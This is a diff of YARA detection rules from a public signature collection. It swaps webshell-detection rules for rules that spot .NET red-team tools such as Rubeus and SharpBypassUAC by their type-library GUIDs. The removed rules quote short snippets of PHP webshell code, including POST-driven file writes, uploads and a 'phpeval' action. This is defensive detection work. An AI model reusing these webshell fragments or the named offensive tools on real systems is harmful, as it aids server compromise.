-rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_C99Shell_V1_0_Php_Php_Specialshell_99_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Carbuncle : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5314-L5332"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f44dc1ff243b234a718e8dbd5cc8c4dc8eb9d3b63300a5c6ff72b86280607bf"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "4a87882e-570b-5b40-a8e3-47ebac01d257"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/checkymander/Carbuncle"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1408-L1422"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3a5bd58ac42ed3a428d6f20f1956b5abe5dfd958e9768fb0e3916ee2672d9c55"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "3ca5886cd54d495dc95793579611f59a"
-		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
-		hash4 = "09609851caa129e40b0d56e90dfc476c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "c99ftpbrutecheck"
-		$s1 = "$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);" fullword
-		$s2 = "$fqb_lenght = $nixpwdperpage;" fullword
-		$s3 = "$sock = @ftp_connect($host,$port,$timeout);" fullword
+		$typelibguid0lo = "3f239b73-88ae-413b-b8c8-c01a35a0d92e" ascii wide
+		$typelibguid0up = "3F239B73-88AE-413B-B8C8-C01A35A0D92E" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__W_Php_Php_Wacking_Php_Php_C99Shell_V1_0_Php_Php_C99Php_Specialshell_99_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Ossfiletool : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5333-L5349"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e9cd7425b806f71d8889f5df7f3fc2f4a692279fc4e495104646cfe28c5b5fe5"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "fa9aeae1-2aa5-51af-81e2-22a1b6fcda81"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/B1eed/OSSFileTool"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1424-L1438"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2158671f0372080a7f78a7c6804d8be6715953545e23733ef1db091b2d849f2f"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash2 = "d8ae5819a0a2349ec552cbcf3a62c975"
-		hash3 = "9e9ae0332ada9c3797d6cee92c2ede62"
-		hash4 = "09609851caa129e40b0d56e90dfc476c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$sqlquicklaunch[] = array(\""
-		$s1 = "else {echo \"<center><b>File does not exists (\".htmlspecialchars($d.$f).\")!<"
+		$typelibguid0lo = "207aca5d-dcd6-41fb-8465-58b39efcde8b" ascii wide
+		$typelibguid0up = "207ACA5D-DCD6-41FB-8465-58B39EFCDE8B" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__Antichat_Php_Php_Fatalshell_Php_Php_A_Gedit_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Rubeus : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files antichat.php.php.txt, Fatalshell.php.php.txt, a_gedit.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "6bf5640f-0773-5d93-8d27-0844062017c7"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5350-L5366"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "789340845aeed4accaef02afa1a1fe420e73b6f5af1b621f4ec2342994045278"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "54638fe4-84b5-51a8-8c88-9c50ab09ff49"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/GhostPack/Rubeus"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1440-L1454"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b6c346bb0f6db20bd573c9a17d2b8110e6abd4fe3c51d7c717feefa2c517319b"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "128e90b5e2df97e21e96d8e268cde7e3"
-		hash1 = "b15583f4eaad10a25ef53ab451a4a26d"
-		hash2 = "ab9c6b24ca15f4a1b7086cad78ff0f78"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if(@$_POST['save'])writef($file,$_POST['data']);" fullword
-		$s1 = "if($action==\"phpeval\"){" fullword
-		$s2 = "$uploadfile = $dirupload.\"/\".$_POST['filename'];" fullword
-		$s3 = "$dir=getcwd().\"/\";" fullword
+		$typelibguid0lo = "658c8b7f-3664-4a95-9572-a3e5871dfc06" ascii wide
+		$typelibguid0up = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__C99Shell_V1_0_Php_Php_C99Php_Sses_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Simple_Loader : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5367-L5380"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b2bdf4187ff3d63e4af5c70e8cc93cd8fac3257b33c38764ad2bb2e206066162"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "4c26aaf9-187d-5990-b956-1bbf630411f0"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/cribdragg3r/Simple-Loader"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1456-L1470"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c94da47cdcf94f71d0909f1532108442e324e79e249646e5619865bdbd2d3c14"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
-		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
-		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "if (!empty($delerr)) {echo \"<b>Deleting with errors:</b><br>\".$delerr;}" fullword
+		$typelibguid0lo = "035ae711-c0e9-41da-a9a2-6523865e8694" ascii wide
+		$typelibguid0up = "035AE711-C0E9-41DA-A9A2-6523865E8694" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__Crystal_Php_Nshell_Php_Php_Load_Shell_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Minidump : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files Crystal.php.txt, nshell.php.php.txt, load_shell.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "a92134cd-7f10-589f-bcda-508bc7a20efe"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5381-L5396"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "71a9310b19b66e3699f75f551cc604f535ea843eb9c50f4a009edcd9c11e01b9"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "51f64c64-f3fa-5543-83fc-5f0bf881ef03"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/3xpl01tc0d3r/Minidump"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1472-L1486"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "80142c0e96bca63f2b9991b3d6e2dfa7261bdde3a748fde96113d6f422b21e34"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "fdbf54d5bf3264eb1c4bff1fac548879"
-		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
-		hash2 = "0c5d227f4aa76785e4760cdcff78a661"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
-		$s1 = "$dires = $dires . $directory;" fullword
-		$s4 = "$arr = array_merge($arr, glob(\"*\"));" fullword
+		$typelibguid0lo = "15c241aa-e73c-4b38-9489-9a344ac268a3" ascii wide
+		$typelibguid0up = "15C241AA-E73C-4B38-9489-9A344AC268A3" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__Nst_Php_Php_Cybershell_Php_Php_Img_Php_Php_Nstview_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpbypassuac : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files nst.php.php.txt, cybershell.php.php.txt, img.php.php.txt, nstview.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "cc4dc0e9-dbb1-560b-ae36-23d3e16a407f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5397-L5413"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "afc0b1c83644aa323d308471e5978b6b03f444f5f46fbaddac28ff42d524df1e"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "474d40aa-4bcc-58b5-a129-40bbd3a89e99"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/FatRodzianko/SharpBypassUAC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1488-L1502"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "726b573fa957a2560d6f4e5e98497190ed8f8e1657427f14896e3aa439366c70"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
-		hash1 = "ef8828e0bc0641a655de3932199c0527"
-		hash2 = "17a07bb84e137b8aa60f87cd6bfab748"
-		hash3 = "4745d510fed4378e4b1730f56f25e569"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "@$rto=$_POST['rto'];" fullword
-		$s2 = "SCROLLBAR-TRACK-COLOR: #91AAFF" fullword
-		$s3 = "$to1=str_replace(\"//\",\"/\",$to1);" fullword
+		$typelibguid0lo = "0d588c86-c680-4b0d-9aed-418f1bb94255" ascii wide
+		$typelibguid0up = "0D588C86-C680-4B0D-9AED-418F1BB94255" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_Dc3_Security_Crew_Shell_Priv_Php_Specialshell_99_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharppack : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "d22c4cc3-842b-5a24-bf4b-a8024b447b9e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5414-L5430"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7a4c74912caa1855efc3a2ea7fa6d0082f62776d77a211e59f12892d4883f240"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "633d074a-b8c2-5148-ad80-6226b99be818"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/Lexus89/SharpPack"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1504-L1532"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b3f86041560b8358c5408d73d8eb847d600e66ca2c9900f53d193902e4ae8eee"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "3ca5886cd54d495dc95793579611f59a"
-		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash3 = "433706fdc539238803fd47c4394b5109"
-		hash4 = "09609851caa129e40b0d56e90dfc476c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = " if ($mode & 0x200) {$world[\"execute\"] = ($world[\"execute\"] == \"x\")?\"t\":"
-		$s1 = " $group[\"execute\"] = ($mode & 00010)?\"x\":\"-\";" fullword
+		$typelibguid1lo = "b59c7741-d522-4a41-bf4d-9badddebb84a" ascii wide
+		$typelibguid1up = "B59C7741-D522-4A41-BF4D-9BADDDEBB84A" ascii wide
+		$typelibguid2lo = "fd6bdf7a-fef4-4b28-9027-5bf750f08048" ascii wide
+		$typelibguid2up = "FD6BDF7A-FEF4-4B28-9027-5BF750F08048" ascii wide
+		$typelibguid3lo = "6dd22880-dac5-4b4d-9c91-8c35cc7b8180" ascii wide
+		$typelibguid3up = "6DD22880-DAC5-4B4D-9C91-8C35CC7B8180" ascii wide
+		$typelibguid5lo = "f3037587-1a3b-41f1-aa71-b026efdb2a82" ascii wide
+		$typelibguid5up = "F3037587-1A3B-41F1-AA71-B026EFDB2A82" ascii wide
+		$typelibguid6lo = "41a90a6a-f9ed-4a2f-8448-d544ec1fd753" ascii wide
+		$typelibguid6up = "41A90A6A-F9ED-4A2F-8448-D544EC1FD753" ascii wide
+		$typelibguid7lo = "3787435b-8352-4bd8-a1c6-e5a1b73921f4" ascii wide
+		$typelibguid7up = "3787435B-8352-4BD8-A1C6-E5A1B73921F4" ascii wide
+		$typelibguid8lo = "fdd654f5-5c54-4d93-bf8e-faf11b00e3e9" ascii wide
+		$typelibguid8up = "FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9" ascii wide
+		$typelibguid9lo = "aec32155-d589-4150-8fe7-2900df4554c8" ascii wide
+		$typelibguid9up = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__C99Shell_V1_0_Php_Php_C99Php_1_C2007_Php_Php_C100_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Salsa_Tools : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, 1.txt, c2007.php.php.txt, c100.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5431-L5446"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a5dc73a12d8c8b89bab77b90cb3b561e9daf9db5f5ad550326a2fbce52c1c8da"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "50db578e-6ddb-54d1-a978-e3630a3548c3"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/Hackplayers/Salsa-tools"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1534-L1550"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4c02f8fb1f1dbad19360c28d0728ccb5a73db5d34127bd345fe5c4baeb87fc7c"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
-		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
-		hash2 = "44542e5c3e9790815c49d5f9beffbbf2"
-		hash3 = "d089e7168373a0634e1ac18c0ee00085"
-		hash4 = "38fd7e45f9c11a37463c3ded1c76af4c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$result = mysql_query(\"SHOW PROCESSLIST\", $sql_sock); " fullword
+		$typelibguid0lo = "276004bb-5200-4381-843c-934e4c385b66" ascii wide
+		$typelibguid0up = "276004BB-5200-4381-843C-934E4C385B66" ascii wide
+		$typelibguid1lo = "cfcbf7b6-1c69-4b1f-8651-6bdb4b55f6b9" ascii wide
+		$typelibguid1up = "CFCBF7B6-1C69-4B1F-8651-6BDB4B55F6B9" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Multiple_Php_Webshells_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Windowsdefender_Payload_Downloader : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5447-L5467"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "26fe586ba7f4d1931b2df81aa27543ff422e699fd56b6b1be289a0f8d6954691"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "6e494a91-c05e-5a2e-8aa9-77600f3bdd47"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/notkohlrexo/WindowsDefender-Payload-Downloader"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1552-L1566"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4f0a7db1ff7dda5f66cb466cf70e717a9050541dd6a79acd9c8f5723267f5a4"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "3ca5886cd54d495dc95793579611f59a"
-		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
-		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
-		hash5 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
-		hash6 = "09609851caa129e40b0d56e90dfc476c"
-		hash7 = "671cad517edd254352fe7e0c7c981c39"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "elseif (!empty($ft)) {echo \"<center><b>Manually selected type is incorrect. I"
-		$s1 = "else {echo \"<center><b>Unknown extension (\".$ext.\"), please, select type ma"
-		$s3 = "$s = \"!^(\".implode(\"|\",$tmp).\")$!i\";" fullword
+		$typelibguid0lo = "2f8b4d26-7620-4e11-b296-bc46eba3adfc" ascii wide
+		$typelibguid0up = "2F8B4D26-7620-4E11-B296-BC46EBA3ADFC" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_1_Specialshell_99_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Privilege_Escalation : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "4915146e-141c-5515-ac5a-61901d42dc40"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5468-L5486"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "160adf93d4f9e51022c427b2b0601207dd9ca917e98d99e2013fe83e09a85d21"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "28615807-6637-57fc-ba56-efc64b041b80"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/Mrakovic-ORG/Privilege_Escalation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1568-L1582"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1fd2eed72a4971f494fcb924b77edb6ab49b8bde400eb2785df00b9b867692d0"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "3ca5886cd54d495dc95793579611f59a"
-		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash3 = "44542e5c3e9790815c49d5f9beffbbf2"
-		hash4 = "09609851caa129e40b0d56e90dfc476c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if ($total === FALSE) {$total = 0;}" fullword
-		$s1 = "$free_percent = round(100/($total/$free),2);" fullword
-		$s2 = "if (!$bool) {$bool = is_dir($letter.\":\\\\\");}" fullword
-		$s3 = "$bool = $isdiskette = in_array($letter,$safemode_diskettes);" fullword
+		$typelibguid0lo = "ed54b904-5645-4830-8e68-52fd9ecbb2eb" ascii wide
+		$typelibguid0up = "ED54B904-5645-4830-8E68-52FD9ECBB2EB" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__R577_Php_Php_R57_Php_Php_Spy_Php_Php_S_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Marauder : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, spy.php.php.txt, s.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "022d2255-50cd-500b-8d91-8e34f3c46fcf"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5487-L5503"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7ba3d6927dc06bfcd98ee9d7146164ca9a9024ef26eac60fabc8ed1375db618d"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f2783477-2853-5dcd-95f5-9f1e07a4a6e8"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/maraudershell/Marauder"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1584-L1598"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8314db477f299931e6bb933be0234f18cfb3e36d6170b4aed1d482949aba75e8"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
-		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
-		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
-		hash3 = "817671e1bdc85e04cc3440bbd9288800"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
